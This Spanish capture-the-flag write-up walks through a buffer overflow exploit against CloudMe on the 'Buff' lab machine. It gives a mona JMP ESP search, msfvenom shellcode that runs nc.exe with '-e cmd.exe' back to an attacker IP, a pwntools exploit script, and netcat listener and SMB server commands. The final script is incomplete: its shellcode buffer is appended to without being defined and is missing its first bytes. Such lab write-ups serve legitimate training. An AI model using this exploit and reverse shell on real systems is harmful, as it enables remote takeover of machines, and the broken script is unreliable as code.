FORTIFY (Fortify Source) | Es una característica de seguridad en compiladores y bibliotecas de C que ayuda a proteger contra vulnerabilidades de desbordamiento de búfer y otros problemas de seguridad. Esta característica agrega comprobaciones de seguridad automáticas al código durante la compilación. |
NX (No-eXecute) | Es una tecnología de hardware y una característica de seguridad que ayuda a prevenir la ejecución de código en regiones de memoria designadas como datos. Esto es útil para prevenir ataques de inyección de código, como los ataques de desbordamiento de búfer. |
PIE (Position Independent Executable) | Es una técnica de seguridad que compila un ejecutable de manera que su carga en memoria sea aleatoria, lo que dificulta la explotación de vulnerabilidades por parte de los atacantes al no poder predecir la ubicación exacta del código en la memoria. |
RELRO (RELocation Read-Only) | Es una técnica de seguridad que marca ciertas secciones de la tabla de enlace dinámico (DT) como de solo lectura después de que el enlazador ha resuelto todas las direcciones. Esto ayuda a proteger contra ataques que intentan modificar la tabla de enlace dinámico para redirigir el flujo de control del programa. |
De todos los .dll que salen de CloudMe interesan los que tienen todas las protecciones en False.
JMP ESP
Entre todos los .dll que salen en false buscamos si tienen un JMP ESP (Una dirección que salte al ESP, que es donde vamos a poner el shellcode), es importante que tenga {PAGE_EXECUTE_READ}, para poder ejecutar nuestro shellcode
!mona find -s "\xFF\xE4" -m Qt5Core.dll
Después de una búsqueda entre los .dll al final el Qt5Core.dll cumple con las características
Ya tenemos la dirección para saltar al ESP: 0x68a98a6b
ShellCode
Ahora toca crear el shellcode, que va a ejecutar lo siguiente \\192.168.1.135\smb\nc.exe -e cmd.exe 192.168.1.135 443
en la máquina víctima, y nos mandara una shell a nuestra máquina de atacante.
msfvenom -a x86 -p windows/exec CMD='\\192.168.1.135\smb\nc.exe -e cmd.exe 192.168.1.135 443' -b '\x00' -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 267 (iteration=0)
x86/shikata_ga_nai chosen with final size 267
Payload size: 267 bytes
Final size of python file: 1332 bytes
buf = b""
buf += b"\xdb\xc8\xd9\x74\x24\xf4\x5b\xba\x12\xf3\x19\x43"
buf += b"\x29\xc9\xb1\x3d\x31\x53\x17\x03\x53\x17\x83\xd1"
buf += b"\xf7\xfb\xb6\x29\x1f\x79\x38\xd1\xe0\x1e\xb0\x34"
buf += b"\xd1\x1e\xa6\x3d\x42\xaf\xac\x13\x6f\x44\xe0\x87"
buf += b"\xe4\x28\x2d\xa8\x4d\x86\x0b\x87\x4e\xbb\x68\x86"
buf += b"\xcc\xc6\xbc\x68\xec\x08\xb1\x69\x29\x74\x38\x3b"
buf += b"\xe2\xf2\xef\xab\x87\x4f\x2c\x40\xdb\x5e\x34\xb5"
buf += b"\xac\x61\x15\x68\xa6\x3b\xb5\x8b\x6b\x30\xfc\x93"
buf += b"\x68\x7d\xb6\x28\x5a\x09\x49\xf8\x92\xf2\xe6\xc5"
buf += b"\x1a\x01\xf6\x02\x9c\xfa\x8d\x7a\xde\x87\x95\xb9"
buf += b"\x9c\x53\x13\x59\x06\x17\x83\x85\xb6\xf4\x52\x4e"
buf += b"\xb4\xb1\x11\x08\xd9\x44\xf5\x23\xe5\xcd\xf8\xe3"
buf += b"\x6f\x95\xde\x27\x2b\x4d\x7e\x7e\x91\x20\x7f\x60"
buf += b"\x7a\x9c\x25\xeb\x97\xc9\x57\xb6\xfd\x0c\xe5\xcd"
buf += b"\xb0\x0f\xf5\xcd\xe4\x67\xc4\x46\x6b\xff\xd9\x8d"
buf += b"\xcf\x0f\x90\x8f\x66\x98\x7d\x5a\x3b\xc5\x7d\xb1"
buf += b"\x78\xf0\xfd\x33\x01\x07\x1d\x36\x04\x43\x99\xab"
buf += b"\x74\xdc\x4c\xcb\x2b\xdd\x44\x97\x97\x10\x5e\x15"
buf += b"\x06\x62\x96\x61\x78\xb5\xf8\xa0\xb7\x80\x58\xb1"
buf += b"\xda\x88\x3c\x5b\x46\x63\xd8\xdb\xed\x5b\x0f\x7e"
buf += b"\xce\xf8\x22\xe4\x20\x9a\xc4\x81\x1c\x55\x0c\x7b"
buf += b"\x73\xa4\x58\x43\xa5\xf7\x8a\x82\x8a\xc2\xf2\xd0"
buf += b"\xd8\x1f\xf3"
Explicación parámetros
Parámetro | Función |
---|---|
-a x86 | Especifica la arquitectura del objetivo, en este caso, x86. |
-p windows/exec | Selecciona el payload a utilizar, en este caso, windows/exec, que nos sirve para ejecutar comandos en la máquina víctima |
CMD=’\192.168.1.135\smb\nc.exe -e cmd.exe 192.168.1.135 443 | Define el comando a ejecutar por el payload |
-b ‘\x00 | Especifica los badchars para que msfvenom no los ponga en el shellcode, ya que no se van a interpretar |
-f python | Define el formato de salida del shell code, en este caso python para que podamos simplemente copiar el output y pegarlo en el script sin necesidad de adaptar nada |
Script final
Para finalizar la explotación del buffer overflow creamos un script basándonos en toda la información que hemos ido recopilando a lo largo de la resolución
- ‘A’ * 1052: Primero mandamos 1052 ‘A’ para llegar al EIP
- 0x68a98a6b: Segimos con el valor del EIP, que le pondremos la dirección para saltar al ESP
- ‘ShellCode’: Lo último que mandamos es el shellcode.
from pwn import *
from struct import pack
offset = 1052
before_eip = b"A" * offset
eip = pack("<I", 0x68a98a6b)
buf += b"\xcc\xc6\xbc\x68\xec\x08\xb1\x69\x29\x74\x38\x3b"
buf += b"\xe2\xf2\xef\xab\x87\x4f\x2c\x40\xdb\x5e\x34\xb5"
buf += b"\xac\x61\x15\x68\xa6\x3b\xb5\x8b\x6b\x30\xfc\x93"
buf += b"\x68\x7d\xb6\x28\x5a\x09\x49\xf8\x92\xf2\xe6\xc5"
buf += b"\x1a\x01\xf6\x02\x9c\xfa\x8d\x7a\xde\x87\x95\xb9"
buf += b"\x9c\x53\x13\x59\x06\x17\x83\x85\xb6\xf4\x52\x4e"
buf += b"\xb4\xb1\x11\x08\xd9\x44\xf5\x23\xe5\xcd\xf8\xe3"
buf += b"\x6f\x95\xde\x27\x2b\x4d\x7e\x7e\x91\x20\x7f\x60"
buf += b"\x7a\x9c\x25\xeb\x97\xc9\x57\xb6\xfd\x0c\xe5\xcd"
buf += b"\xb0\x0f\xf5\xcd\xe4\x67\xc4\x46\x6b\xff\xd9\x8d"
buf += b"\xcf\x0f\x90\x8f\x66\x98\x7d\x5a\x3b\xc5\x7d\xb1"
buf += b"\x78\xf0\xfd\x33\x01\x07\x1d\x36\x04\x43\x99\xab"
buf += b"\x74\xdc\x4c\xcb\x2b\xdd\x44\x97\x97\x10\x5e\x15"
buf += b"\x06\x62\x96\x61\x78\xb5\xf8\xa0\xb7\x80\x58\xb1"
buf += b"\xda\x88\x3c\x5b\x46\x63\xd8\xdb\xed\x5b\x0f\x7e"
buf += b"\xce\xf8\x22\xe4\x20\x9a\xc4\x81\x1c\x55\x0c\x7b"
buf += b"\x73\xa4\x58\x43\xa5\xf7\x8a\x82\x8a\xc2\xf2\xd0"
buf += b"\xd8\x1f\xf3"
payload = before_eip + eip + b"\x90"*16 + buf
host, port = "127.0.0.1", 8888
r = remote(host, port)
r.sendline(payload)
Antes de ejecutarlo hay que ponerse en escucha por el puerto 443
nc -nlvp 443
Explicación parámetros
- n: Sirve para que no haga la resolución de DNS
- l: Habilitar modo escucha de netcat
- v: Verbose, modo detallado de netcat
- p: Por último la p sirve para especificar el número de puerto en el cual vamos a estar en escucha
Y también hay que abrir un servidor con samba para compartir el nc.exe
impacket-smbserver smb $(pwd) -smb2support
Explicación parámetros
- smb: Nombre del recurso compartido
- $(pwd): Esto devuelve el directorio en el cual estamos, y imapcket-server comparte el contenido de la ruta especificada
- –smb2support: Habilita el soporte para el protocolo SMB2
Ejecutamos el script y… ¡Recibimos la conexión!
Ahora solo falta, envés de poner nuestra ip poner la de la máquina Buff y listo, máquina completada